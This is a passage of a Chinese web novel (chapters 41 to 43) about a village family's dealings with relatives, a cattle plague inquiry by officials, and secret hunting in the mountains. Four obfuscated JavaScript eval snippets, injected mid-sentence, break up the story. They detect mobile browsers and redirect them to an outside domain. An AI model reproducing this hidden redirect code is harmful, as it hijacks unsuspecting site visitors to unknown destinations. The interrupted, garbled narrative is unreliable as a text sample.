乔刘氏与乔陈氏闻言不由得面面相觑。她们确是外人，原本遇到这种事情，便是看不过眼去下意识相帮，也多做下表面工夫…… 如今倒好，乔刘氏是觉着喉咙口那句劝乔冉临此番行事不妥的话是不论如何也说不出了……她与乔陈氏生生顿在门口处，仿若两堵人墙。 “二伯总提说‘恩情’，可不知我家里究竟要送几亩地、几个猪脑壳，才能让你们收回这已经念叨了数十年的话。” 乔小遇见乔冉临张了张口，却也没能说出一句清晰明确的话来，不禁微沉了声，道：“二伯若不知该如何评断，那不妨再去何里正家中叨扰一下他？且问问您径直拿了我家的猪头肉是否有理？” “若他不在家中，那便是滞留在长田叔家那处了。正巧，那边我爹娘和县里下来的官差都在，也省得何里正自个儿头大……” 开什么玩笑？ 且不说乔长田家那边的情形乱遭遭的，自家这点鸡毛蒜皮的小事捅到官府的人跟前，根本得不了什么好处，更别提这事若与何照熊牵扯上，怕是会给人带去不必要的麻烦…… 乔冉临但想及平日里何照熊对自家“照拂”颇多，心里哪还愿应下乔小遇的话，可不得灰溜溜地遁走…… 只乔冉临所没有想到的是，不论这点鸡毛蒜皮之事是否捅到官府的人跟前，何家都已保不住这里正之位了。 …… 油渣要还趁热时才好裹了玉米面，这些乔小遇是知道的。 乔刘氏二人没能帮上忙，且瞧着乔小遇那般麻利的动作，不禁笑语相赞。 “这没什么的，二婶子你们忙了这好一会儿，且先歇一歇吧。”乔小遇的嘴角轻泛起一抹笑意，随即使了妹妹给乔刘氏二人倒了些水喝。 乔陈氏眼看着乔小遇家竟装了半罐子的油渣面，嘴角艰难地抽动了下，笑道：“小遇，你家这一宰就是四头猪，倒是一下子就变阔气了啊，你娘都舍得给你们做些油渣面了。” “那还不是因为小妹闹腾得紧？”乔小遇话音微顿了片刻，接着笑道：“她自去年在三婶子家里得吃过两口油渣面后，回来便总问我娘，家里宰猪时能否给她做些……” 听着乔小遇清浅的笑音，乔陈氏便不禁想起从前乔小佩去她家中玩耍，正巧碰上家里吃饭的事来。当时她嘴上喊了乔小佩吃饭，可那孩子却不愿挪至饭桌旁，只借说出来耍久了会惹爹娘惦记，接着便回了家去…… 既难得识相，乔陈氏心里头自是说不出的自在。然她未想，那不曾得吃她家半口油渣面的乔小佩在傅娘子跟前竟会这般说…… 乔陈氏自觉耳根处一阵滚烫，不得不讪讪噤声。 相比于乔陈氏，乔刘氏却是个心思活络的。尽管在她看来，傅娘子家突然做出这般大的决定实在令人匪夷所思，可她出言却绝不会同她弟妹那般言语无状，又或是下意识地带了几分酸意。 “就快到秋收的日子了，村里这家家户户的，可都盼着用那玉米面将猪仔养起些肥膘来，可没想你爹娘……” 乔小遇抬眼瞧得乔刘氏这般欲言又止的模样，低眉叹声道：“二婶也知道的，就凭我家坡地上种的那点玉米，糊口已是难了，哪里还谈得上养猪？” “也是你那几个叔伯家行事不地道，只清官难断家务事……”乔刘氏抿唇干笑了笑，见乔小遇伸手去端簸箕里的那些切成小节的猪肠子，也连忙起身去帮忙。 “家务事是难断，可我家里这事却是分明的，二婶们也看出来，若还难断，便是那当官的不作为了。”乔小遇话音平缓地道。 乔刘氏没有应过这话，只含混地点了点头，轻手轻脚地随了乔小遇走到灶边，将成节的猪肠子放进锅里炸着。 “这猪肠子也能炼油，只味道差了些。”乔陈氏也走了过来，一边用锅铲翻搅着，一边说道。 乔小遇颔首一笑，道：“若肚子都填不饱，哪还顾忌它的味道呢，左不过用来炸土豆之类的。” “如今不过穷些，可日子已不知要比从前寻了山草根咂嘴的时候好多少了。”乔陈氏暗想着乔冉安家中的情境确比自家要窘困许多，倒难怪乔小遇会说出这番话来。 乔小遇垂目说道：“可如今朝州府上已是牛疫遍传， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924369|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些地方的百姓已出现吃食不足的情况，谁知饥荒会不会蔓延开来，家里能备下些东西总是没错的。” “说的也是……”乔陈氏面上笑意稍敛，这般随口应道。 只两家人是否将这话听进心里，乔小遇却没有立场深究了。她心头惦记着“断家务事”这回事，暗想着是否要在火势将起时加两把干柴在上头。 “还是等爹娘回来，看看当中情形再说。”乔小遇心里低叹了声。 …… 住在这山重峰叠的乔家村里的人，鲜少得知外间消息，可若是村里哪户人家发生了什么事，却是传得飞快。 至晚间，亲自做厨的乔小遇已将客人招呼上桌吃饭后，却始终未见她爹娘回来。 “小遇，你爹娘不会出什么事吧？”乔陈氏有些坐不住了，筷子虽在她手中，但她与乔阿婆等人一般，终未肯夹菜入口。 乔阿婆斜睨了儿媳一眼，忍不住轻斥出声：“人四脚齐全地出门，会出什么事？” “且我猜着，就算有事，出事也可能是乔万安家。”乔阿婆话音微浅，本欲接声劝慰乔小遇，不想连隔壁桌那两个不曾动筷的儿子们也都打眼朝自己看过来。 “娘，您这是何意？”乔刘氏将最后那碗炖排骨放至桌上后，不由得惊讶出声，而她心神恍惚着，坐身时腚部却几次都没能触到椅面…… 乔小遇担心乔刘氏坐空，索性走至她身后，帮她将椅子拉好。 “啊……谢谢小遇。”乔刘氏微拧的眉梢终恢复了几分原状，视线旋又定定凝落在她婆母身上。 随着她坐下身来，乔阿婆再度开口…… 原是今儿官府的人在瞧过乔长田家中的情形后，那些个住在乔长田家附近的人家也接着被查访——最终，兽医却是在乔万安家中耽搁的时间最久。 “外人没得跟进去瞧，是以具体情形我们也不得而知……”乔阿婆迎上乔刘氏的目光，旋又转了语气道：“不过这也仅是揣测罢了。” “小遇，你不要担心，咱们且等一会儿你爹娘……等你爹娘回来再吃。”乔阿婆拉过乔小遇的手轻抚了抚，柔声说道。 “阿婆，我不妨事的。” 乔小遇的语气是难得的平缓，心头那把算盘的珠子却似活了过来一般…… “咱们且先吃着，不必等我爹娘。”乔小遇将手从乔阿婆掌中抽出来，视线旋又落至妹妹身上，道：“小佩，你去叫爹娘回来吃饭。” “不，还是我亲自去。”乔小遇似忽然想到了什么一般，忙招手示意妹妹坐下，只她折身却是去将砧板上的那把尖刀提了过来！ 这提尖刀是要做什么？ 乔根茂连忙将他方才拿起的筷子重新放下，便要起身将乔小遇拦住，道：“小遇，你这是要去做什么？” “你若是急着去唤人，三叔同你去。”乔根全亦是急道。 乔小遇诧异地顿下脚步，不解地道：“我只是想着去割块猪肉，一并带过去啊……” 41. 人心偏狭 “割猪肉做什么？”乔根全听得乔小遇的应答，脑子实在是懵得紧。 乔小遇见他们一阵紧张，那双柔和的眸子不由得轻转了转，旋即失笑道：“官府的人来咱们这等僻壤之地，只怕长田叔家里没什么好招待人的，我便想着割点肉送过去。” 乔根全闻言可算是松缓了口气，只他却终究不放心乔小遇提着那尖刀，紧步上前便夺了过来，并道：“哎哟，那还是我来帮你吧。你要哪一块、多少斤，只管与三叔说。” “好。”乔小遇颔首一笑，心头漾起一股和暖。 …… 映着暮光，乔小遇能瞧见那些小小的飞虫成群地嗡在一处，而她便从飞虫旁边经过，那飞虫便似寻到了人味一般，直跟着她走。 烦不可耐的乔小遇撒腿跑出好远，可算摆脱了那些飞虫……等她停步下来，不由得一阵粗喘，摇头咋舌道：“真是绕得人头晕。” 垂目瞥了眼手中提着的那块脊肉，乔小遇的嘴角不由得轻泛起一股笑意——事实上，她割肉来送与乔长田家做厨，不仅是为了帮人化解当中尴尬。 …… 刘菜粉口上自是说着千恩万谢的话，然探究的目光却在乔小遇的身上来回流转，片刻后她终问道：“小遇，你与婶子说句实在话，你爹娘之所以决定宰猪，是不是因为担心受婶子家牵累？” “这么说，您家的大黄牛是真的染上牛疫了？”乔小遇抬了抬眼，却是这般问道。 刘菜粉一怔，觉着她方才那句话实在不该问，可她怎么就没能忍住呢？ 这事说来，终究与乔小遇家没有半点干系的……至于染了牛疫的事，村里人终究是要知道的，她家已没有避讳的必要。 刘菜粉心下渐浮起一种愧疚感，而这种感觉比当初乔冉安帮着她家挖土豆那会儿还要强烈些，直令她有些无所适从。 “是婶子我的错，之前不该拿自家的事拴了你爹娘。如今魏医官来过了，大黄牛确是染了疫病……”刘菜粉的神情恹恹的，发红的眼眸中是难掩的悲颓。 乔小遇心下已有所料，可听得乔宝树他娘这句直接的应答，一时却又沉默下来。 照理说，乔长田家的牛既染了病，那与自家最为关切的便当是日后使牛的问题，可此时乔小遇但想及乔长田一家还在为牛疫的事提心吊胆着，只好暂将这个话题搁置。 “可怎么会好端端地染了牛疫呢？”乔小遇将带来的脊肉轻放在案板上，蹙眉问道。 “还不是你万安叔那个没谱的，大抵几世没见过银钱，竟自个儿悄悄拉了两车土豆去隔壁县上卖！天爷了，就算他把腰包鼓紧了，可他家的牛却把疫病带到了村里来！” 刘菜粉话音里蕴了怒意，吸了吸鼻，继续骂道：“他家的牛早染病了，却偏未见他吱声，说来竟冷眼看着何家人到我家门上来闹了这许多日。” “村里人且都看着哩，他家能不能担下这责来！若我家大黄牛有个什么好歹，我便先冲到他家里去，也不论他家的牛还能喘得几口粗气，我都将它一刀宰了了事！” 乔小遇没想乔宝树他娘竟也有脾气冲起来的时候，微愣了下才道：“这事好歹有官府出面了，婶子您先别急，且听听魏医官的法子，咱该怎么治就怎么治。” “说来也怪我，之前把家里的牛拉到猪圈里头呆了几天。”刘菜粉轻叹了口气，旋才重新提起菜刀，一边切着土豆块，一边说道：“今儿魏医官瞧了眼我家那稀晃晃的猪圈后，转头就将我与你长田叔给劈头盖脸地骂了一顿。” “只我们乡下人哪知道这些，猪圈里的粪一年不过除个两三回，垫松毛也不过是为了得些春种时要用的粪肥罢了……可你知道魏医官怎么招呼我们的么？” 刘菜粉话音轻转，似有余气未解，“说是圈里的松毛极易潮腐，隔个十来日便要除了重新给垫上，否则就容易染上疫病①……只我们喂猪养牛哪里讲究过这些，似他之所言般，勤些垫松毛与除粪的事儿实在难做！” 乔小遇轻点了点头，接言道：“如今再说这些确是有些晚了，村里人虽得了牛疫蔓延开来的风声，却不知该如何规避。” “可据说官府的人是贴了告示的，县衙都已明召设下里正前去领取……”刘菜粉手中切土豆的动作不由得一顿，目光微沉地道：“乔家村地处确是偏了些，却也不至于连这些消息都不知道吧。” 问题竟绕到了何照熊身上？ 乔小遇脑中开着小差，一旁的刘菜粉则将何照熊的不地道之处给说道了个完全…… 乔小遇心里明白的，有时人在承认了自己的过错后，为了使自己看起来与某些事情少些牵扯，便会开始将责任往别人的身上推。 她垂眸听着不置可否，心下却想着自己是不必再去“添柴加火”了。待刘菜粉的说话声得了个空隙，乔小遇才试着打断道：“婶子，你说我这会儿过去叫我爹娘回去吃饭……” “这应当没事的，官府的人已经问过话了，何况问题也并不在你家这里。”刘菜粉沉吟道，接着侧眼朝正屋里坐着的一群人看去。 然刘菜粉这才意识到，乔冉安夫妻俩竟已在自己家中逗留了这么久！便因事忙，众人无暇顾及他俩，是以竟不曾有人亲口说一句“你们可以回去了”的话。 此前官差问夫妻俩话时，乔冉安是半个字也答不上来的，而傅娘子应话总憋一半，那般断断续续的模样实在教旁人瞧得着急，暴脾气的魏医官亦为此发了好一通火…… 乔小遇她爹娘终归是紧张过分了，整个下午都恨不得当节木凳子，缩靠在乔长田家的板壁边上，不必挪位置，更不必出声，便能免了官府的人继续发问。 “咱们平头百姓哪里见过什么这等阵仗？”刘菜粉回想起自家男人那杵了根拐杖跟在官差后头，行动艰难不说，回话也战战兢兢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924370|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情形，不禁摇了摇头。 刘菜粉满怀感叹，而那股原溢于心头的所谓的因官爷在自家落脚的优越感便如那些在河岸边堆积的枯木落叶一般，终被流水和淤泥冲蚀得只剩下了叶脉…… 与此同时，刘菜粉也意识到了一点：那不曾主动启口叫乔冉安夫妻俩离开这地方的人，也包括她和乔长田。 两家常有往来，平日里都互有照应的，各自的为人与脾气禀性自然也十分清楚……可就为着乔小遇爹娘不曾依请而来，反而再三推托的“回应”，以及突然决定宰猪的事，刘菜粉心下便不由得多生出了几分狭隘的想法： “这家人既想做缩头乌龟，偏又忙不迭地朝前冒头的模样可真是气人！也亏得冉安哥是个当不了事的，否则这家子可算得将人耍得团团转了。” 果然，人若是气急了，便总顾不得把话说开，只恨不得自个儿心口上再开出几个窍洞来，而哪条洞径最为曲折复杂，人的想法便从哪里延伸开去。 现下才回过几分味儿来的刘菜粉，心绪莫名陈杂，道：“那不如这样，我让你长田叔领了你进去唤你爹娘？” “里头的人可摆足了官威，实在有些瘆人。你若不会说话，便只管跟紧了你长田叔，他自会替你回话。”刘菜粉蹙了蹙眉，旋即稍稍低俯了身，对乔小遇说道。 “嗯。”乔小遇点头应是，重新变回了因那个挂念父母是否平安而心思惴惴的女孩儿。 刘菜粉欣慰含笑，旋将乔小遇给送到了丈夫跟前，简略说过当中情形。 …… 尽管想着不会出什么岔子，可刘菜粉却还是忍不住心怀担忧，便将砧板上的土豆搂了给两个弟妹炒着，人却还站在门边处，一边切着猪脊肉，一边仔细听着正屋里的动静。 屋内。 半敞的木窗边，留了一副花白胡须的魏医官正就着光线写方子，他身形微微佝偻着，爬满皱褶的眉间是一番思索之色。 乔宝树被他爹使了在屋里倒水招待，这会儿见乔小遇进屋来，他那张木然着的脸却似忽然间活过来了一般，也未顾得屋内忙得焦头烂额的众人，扬声喜唤道：“小遇，你怎么来了？” 众官差闻声齐头看向门口处，见乔长田竟带了个身量半高的女孩儿进来，面上均不由得露出不解神色。 “臭小子，瞎叫唤什么？”乔长田恶狠狠的目光直朝乔宝树削去，只想及此时并非教训儿子的时候，微绷的脸色旋又转为笑意盈盈。 为首的一名官差冷了脸，审视的目光将乔小遇上下打量了眼，直接开口问乔长田道：“这是来做什么的？” “这孩子来寻她爹娘回去吃饭哩。”乔长田忙应道。 “她爹娘？” 乔冉安与傅娘子终不做那木头人了，他们微颤着身体站起来，便连话音也带了种疲惫感，“小遇，你怎么就莽莽撞撞地来了？不是让你在家里等的么？” 42. 费心与否 乔小遇默了默，接着却是垂下了头去，紧抿的唇并未应声……与此同时，问话的官差回头瞥了眼乔冉安夫妻俩，没忍住眉间轻蹙。 乔长田半倚了门，才腾出手拱了拱，回话道：“说来乔冉安夫妻俩已在这处呆了好半天，倒不知官爷们还有什么想问的，若没有了，便让他们回家去吧。” “今儿人家宰猪，可有的事情要做。若整日只倚着一个半大孩子忙前忙后，似乎也不太妥当？” 官差咂了咂舌，转头对乔冉安问道：“所以你们夫妻俩愣是在这里一直站着？” “这不是不想给各位官爷添麻烦么……”乔冉安话音微紧地道。 官差闻言直瘪了瘪嘴，心下无奈得很，他轻抬了抬手，正欲接着说什么，却被一个拿了册本上前的差役拦了住。“江钦大哥，这是整理出来的附近农户家里牛畜染病的情形，你看一下。” 江钦微微颔首，接过册本翻了翻，却是暂没那个心思去细究乔小遇一家的事了，是以将册本子放魏医官身前，说了句“魏医官，只是您要的东西”的话后，便随意地对乔长田等人招了招手…… “这便是可以走了？”乔长田微怔片刻，面上旋浮起一抹喜意，忙侧头对乔冉安夫妻俩使眼色。 “啊？好……好……”乔冉安略显僵硬的手轻轻扯过傅娘子，两人均弯了身往人群中穿行而过。 见此情形，乔小遇几不可见地摇了摇头，暗道：“经了这回，想来爹娘也会少去做那和稀泥的事了……” 她往前迎了两步，搀过傅娘子的胳膊，却听窗边执笔开方的魏医官说道：“且慢着……” 他这话音一落，场中诸人皆不由得屏住呼吸，乔长田微凝的视线在魏医官与江钦身上转了转，心下也跟着紧张起来。 魏医官拿了册本，走到江钦跟前，沉吟道：“这册本上所记的牛疫信息并不完全，还是请江差役多多费心吧。” “这？”江钦被动地接过册本，暂未反应过来魏医官话里的意思，只当他尽给自个儿找麻烦，微赤的面庞上不禁浮起一抹恼意。然而这魏医官却懒得看他，只淡声甩出一句，“这临要走的人家也问一问……” “不过一个破村子，有必要问询完全么？”江钦嘀咕了句，手中册本迅速翻过一遍，而其脸色便如覆了层冰霜的泥路一般僵冷——乔小遇直怀疑但凡有人往上头踩过一脚，这冻凝住的土便会发出“咯吱”声响，随即散碎一片。 “这些官差似乎并不愿尽心？”乔小遇瞥了眼江钦，远山青眉微蹙，随即行至魏医官面前，微俯身行了个礼，“魏医官……” “想来这册本中并未记录我家中牛畜的情形，只官差却是不必往我家走一趟了。” 乔小遇迎上魏医官不满的目光，继续说道：“我家距主村过远，之前便是往长田叔家拉了牛去使，晚间也定是将牛送回来的，所以我家的猪仔应当不曾染上疫病。” “听来确是有几分道理……可是否染疫你便仅从这处断言，那老夫又何必跑到这地方来？你不过一个小女娃子，能懂什么？” 魏医官没好气地将毛笔放下，接着便要起身去抬药箱，口中一边叹道：“我还是挪一下自己这副老骨头吧，就着今夜能不能将村里疫病的情况摸个完全。” 乔小遇往一旁错开两步，见江钦等人脸上一副不乐意的模样，只得道：“是否染病，自然还是要看魏医官的判断，不论是村里人，还是官差大哥们，也都只能尽旁的力。” 她心知魏医官并非有意针对自家，便是心里存了气，那也多是针对这群办事的官差罢了…… “我从家中割了些肉来与婶子家做厨，您既想核实情况，终归是免不了我家的，便不妨去厨房看看那肉？”乔小遇话音轻缓地道。 江钦等人听得这话，心下极力忍过发笑的冲动——他们是昨儿夜里就从县衙里出发了的，可到了乔家村后忙得脚不沾地不说，午时连饱饭都不曾得吃一口，这会儿早没什么精神了，倒不知魏医官怎还是一副精神抖擞的模样？ 这小丫头也是敢呛！ 苦不堪言的官差们暗存讥嘲之意，连带着手中忙活的动作也缓了下来，而魏医官则将自己挎了半边的药箱轻轻放下，面上神色尽敛…… 便在众人均以为他将斥声出口时，魏医官嘴角的胡须却轻轻翘起，朝乔小遇笑道：“你这女娃实在有趣，说来你怎知老夫口中已无一全牙，却依旧能嚼肉入腹呢？” 乔小遇心知自个儿携肉前来的意图已被老医官看破，只得含笑拱手。 紧接着，魏医官便提步去了灶房，亲自看了乔小遇送来的肉…… 在确定这肉不存在什么问题后，他才提笔在册本上记下那些关于乔冉安家中牲畜种类与数量的信息，并在最后做了标记： “尽杀之豕，并未染疫。” 到底免了些麻烦。 比起村里人对家里忽然宰猪这事的议论与揣测，乔小遇更不愿看到官差与医官之间的矛盾竟以自家作为基点而爆发开来…… 暮日终已沉入山头。 乔小遇站在自家院门口，目送匆忙离去的乔刘氏等人。 这个点，他们两家人也需忙着回去喂猪喂牛了，且待差役们吃过饭后，魏医官便要带人去各家里问询情况，二叔他们也怕足了那官威，总不好教人等的…… 家里没了猪仔争食的嗷嗷吼叫之声，乔小遇心头不自觉地浮起一种空落落感来，然她清楚，这空落很快就会被重复的家务事所填满。 “好的是，家里可总算能过一段只与自个儿相关的日子了。”乔小遇轻轻抚了抚妹妹的头，沉叹出声。 腌过的肉需放在锅里几天，等血水沥出来后，再放到通风的地方挂晾。这当口家中没人看护总有些不妥当，且进山猎兽这事是瞒着村里人的，乔冉安夫妻俩思来想去，也只好将乔小佩留在家中。 将家中相关事宜归置好的隔日，乔小遇便带着她爹娘往黑山林里去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924371|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一次，他们带的工具更为完备，除了镰刀绳套一类，乔冉安还带上了他昨晚就着那几根铺展在后墙上的金火藤给揉搓出来两张网。 藤网有些粗陋，孔洞比猎户家里专用来捕杀猎物的网兜要大些，但乔小遇觉着已经足够了。 这网没什么延展性，本就只是用来围捕野兔的，能防了兔身子往当中穿出便也可以了，而若是换作旁的那些力大的兽物，这藤网只会形同虚设，根本防不住。 乔小遇将爹娘带到了之前自己夜宿的山洞，发现她烧的柴灰堆竟都还在，她心思稍安的同时，却也不由得微微一怔。 “倒不知陆桓那手好箭法是怎么习得的，兴许我跟着他练上几个月，也能有点模样呢。”乔小遇一边帮着傅娘子把带来的家私安置好，忍不住瘪嘴说道。 “怎么会突然想到那位少年郎呢？只萍水相逢，以后怕不得见了。”傅娘子抬眼轻笑了笑，接着道：“不过就你那小身板，能将弓拉开已是不错，难道你还想着能射|得什么野物不成？” 乔小遇听她娘竟这般打趣自己，面颊上不由得一红。说来她是个手劲小的，平日家里的那些背重的活还能做得惯，可若是提拉什么东西却是不成的。 乔小遇呵笑着摇了摇头，暂将那些突然且凌乱的思绪给压了下去。 家里没有人专做过捕猎之事，可乔小遇却还是想取巧一搏，看能不能再猎得一头野猪回去。这不，刚到山上，乔小遇便引了爹娘去陆桓掉的那坑处设伏。 “小遇，这地方我总觉着发怵，咱们布置好了便回去吧。”乔冉安环看了下四周，渐觉着茂林森森，而那些绿叶层叠得密了，竟直似一层黑色浆液覆在头顶般，仿佛随时都会掉落下来。 乔小遇一边拿了木枝打着脚边的草，以防着踩了坑洼或是遇到什么蛇虫之类的东西，一边对她爹说道：“这会儿太阳还未下山，咱们只要不往太深的地方去，便应当没事的。” “果真？”乔冉安抽动了动嘴角，道：“咱最先不是说就在外围逮些兔子就好的吗？这野猪就算真掉进陷坑里了，光怎么搬回家去也是件麻烦事，难不成你还想着在山上把它卸成几块，然后背回去？” “可咱们去盛家庄那次，不也生生用脚走着去的么？”乔小遇回头瞥了她爹一眼，眉头轻皱。 “你怎么尽担心这些有的没的？”傅娘子话音轻斥，朝乔冉安的后背推攘了攘，催促他快些跟上去。 乔冉安口中轻“嘶”了声，方犹豫着继续朝前移动。 事实上，乔小遇与她娘都看出来了：乔冉安说的这些推词，说好听了是想寻个稳妥，说得不好听些，便还是这怯懦的性子难改了。 求稳妥自是好的，所以乔小遇与她爹娘在将那处坑洞掩好后便径直离开了，而后头来瞧坑洞里是否有野猪中伏也专趁了日头。 然相比于他们逮了二十多只野兔与野鸡的“成就”，便等第三日傍晚要回去时，这处设伏地依旧没有什么动静。 43. 谋里正职 乔小遇为此有些悻悻然，但听得她爹在旁说了两句牢骚话后，也只抿了抿唇，轻声道：“许下次进山时便有野猪中伏了呢。” “这终归是靠运气的事。”傅娘子斜瞪了眼乔冉安，接着安慰乔小遇道：“到底咱们没有空手来一趟，猎得的野鸡野兔也有好些了呢。” …… 一家人披着夜色回到了村里。 瞧着乔小遇已累得紧了，傅娘子便使了她早些休息，自己则与乔冉安就着院中井水再将背回来的三篮子野物清洗了洗，接着仔细上盐腌过。 这一忙完，天际处的鱼肚白都已露了出来。 乔冉安稍稍直腰，得了几分松泛，只瞥了眼身旁那只已浅了大半截的盐缸后，不禁叹道：“她娘，这盐巴下次怕时不够用了。” “若当初没听小遇的意思，家里这一宰就是四头的猪仔直接拖了去县上卖，也不至于之前腌猪肉就用了许多盐去。”乔冉安但想及之后要亲自上别家门上去借盐暂用的情形，便不由得一阵皱眉。 若能借着倒还好了，就怕是赔了一脸的笑，自个儿连人饭桌上顿着的盐碗里究竟有多少盐都没能走近看清，人便与自己念叨起这样的话：“冉安哥可是为难人了，我媳妇儿昨儿还与我念叨家里快没盐吃的事呢。” 乔冉安默然下来，心想着要不要与傅娘子提说待将手头的野物卖了，得了些盐来备着，再考虑进野山林的事…… 然这厢傅娘子只当乔冉安是嘴闲了而已，一边垂目做着手上的活，一边说道：“就说你不是一个会算账的！如今且不说小镇上，便连县里都暂没人买猪肉了，许不过一两座大些的酒楼里头，人还愿意接些野鸡野兔什么的生意。” “这猪宰了也好，清净！省得咱们每日天微亮时就爬起来剁猪草。这盐既缺了，便只能去别家先借些来用着，等回头再还上。” “要借你去借，我这张老脸是怎么都难贴上去了，就是贴上去，也非得被挤扁了当个门神像才行。”乔冉安没忍住咕隆道，接着直接将手放到了凉水里冲洗，摆出一副便连挂肉之事都懒得再料理的模样。 “不过蓄了些野物，乔冉安你就当自个儿的十个手指头都能套满方孔铜钱了？竟连这点求人的事情都不愿做！”傅娘子的好心情一扫而光，直接抄起手边用来搓麻绳的木棒子往水盆边上打去！ 嗡隆！ 歪斜出大半边的水盆差些便要掉落在地，惊得乔冉安赶忙用手稳住……便如此，那盆里的水却还是洒了许多出来，并将他的布鞋给灌了个满当！ “你……”乔冉安张了张口，只迎上媳妇那双布爬满了血丝的眼时终究噤住了声。 “如今家里的日子还未怎么好呢，你便开始摆谱了！从前也不觉着你是个自尊心如何强的人，如今儿不过叫你去借些盐罢了……” “这原也不是多下面子的事，就是被挤成了门神像，却也好歹还硬贴在了人门上不是？左不过多跑几家的事罢了。”傅娘子吸了吸鼻，挥着那木棒子连砸了两下水盆，气道。 “得了得了，这水盆是不会被敲烂的吗？”乔冉安急忙将水盆端到一旁，话音微促地道。 他眉头一阵紧皱，见傅娘子停了手中动作，一言不发地看向自己，乔冉安终是敛了神色，心底渐浮起一种愧疚感来。 这家里少有乔冉安说话的地儿，遑提说他与傅娘子起什么争执？如今是起争执了，可他却也是最先“服软”的那一个。只这“服软”的台阶总还要他自己找来着…… “我是想着这盐巴借起来太过零散，没有哪家会闲得存个半缸的，且咱们不是要瞒着村里人么？”乔冉安摊了摊手，嗓音不由得带了几丝颓气地道：“便将东西先卖了，咱也不必去求人，这难道不好么？” 傅娘子心知乔冉安是惧着再进野山林了，以为能少进山一回都是好的，至于借盐的事不过次要，于是沉叹道：“我只想着已没几次进野山林的机会了，家里须得抓紧些时间。” 乔冉安见自己没能说动妻子，嘴角抽动了下，才干挤出话道：“那成吧，回头若真的不够……我再出门去借。” 这应话是一种“假设性”的无奈，所折射的是乔冉安这人的忍耐与怯懦、心诚与不思进取的求稳的心态，倒非他就如何好面子不愿求人，左右他已求人求习惯了不是么？ …… 回头乔冉安去后山墙那边挖地窖时，傅娘子与乔小遇说起丈夫的反应，只终究免不了埋怨一番。 “爹的性子您是知道的，实在没必要与他较真。”乔小遇仔细整理着野兔皮，笑说道。 傅娘子撇嘴道：“我岂能不知？若你爹是个有用的，且不管他怎么翘尾巴要面子，我都能一味忍了。可你爹就这点斤两，我若不牵着他几分，就他自己拿出来的主意可早将家里人逼上黄泉路了！” 乔小遇闻言眨了眨眼，嘴角泛起一抹戏笑，道：“若下次进山能带些活物，便不用借很多盐了。乔阿婆的几个儿子家最近倒与咱家亲近了许多，一家借个半碗盐应当不是什么难事，还有长田叔家……您也可以去问问。” “快别提你长田叔家了！那黑心眼的！如今想起来，我肚子里头可都还憋着一股气呢……”傅娘子的心情忽变得暴躁起来，整个人就似村里那几户嘚瑟人过年时所放的爆竹一般，“噼里啪啦”地一炸，也就没收住这骂咧话。 乔小遇无奈的眼神轻落在她娘面颊旁的那两缕被口中微急的气息给吹起的头发上，而心头的情绪便同笔尖晕染出的那片石青藤黄之色般，一时间交相层叠…… “娘是记恨上长田叔家了么？莫非还想着断交不成？” “断交？这……倒也不至于。”傅娘子话音倏然凝住，旋转了脸色道：“娘仅是心头怨气难消，却还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924372|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能分清是非的，到底这事与宝树那孩子有什么干系呢？” 这同乔宝树有什么关系？ 乔小遇不想深究她娘这话是出于安慰还是试探，面上只得作出一副浑然不知其意的模样，轻声道：“娘能这么想就好了……” “左右何家是保不住这里正之位了，且您莫瞧着如今长田叔家也牵扯进了牛疫之事，可这与他家终归没什么相关的，罪过也不是他家担着。若村里要重选里正，就长田叔在村里所立的威望，还有他家中那几个顶事的弟兄，这差事估摸着会落在他身上。” 傅娘子闻言不由得惊疑出声：“这怎么会？” 乔小遇语气平静地道：“怎么不会？里正这职虽然都够不上秀才老爷的衣领子，可您瞧着何家从前是怎么个得意法，就知与长田叔家的来往是不能断了。” 她这话终究是与“青梅竹马”之类的词不沾边了，而傅娘子静静听完，眉色已是愈锁愈深，全未意识到自己的思绪被乔小遇带偏了的事实。 威望么？ 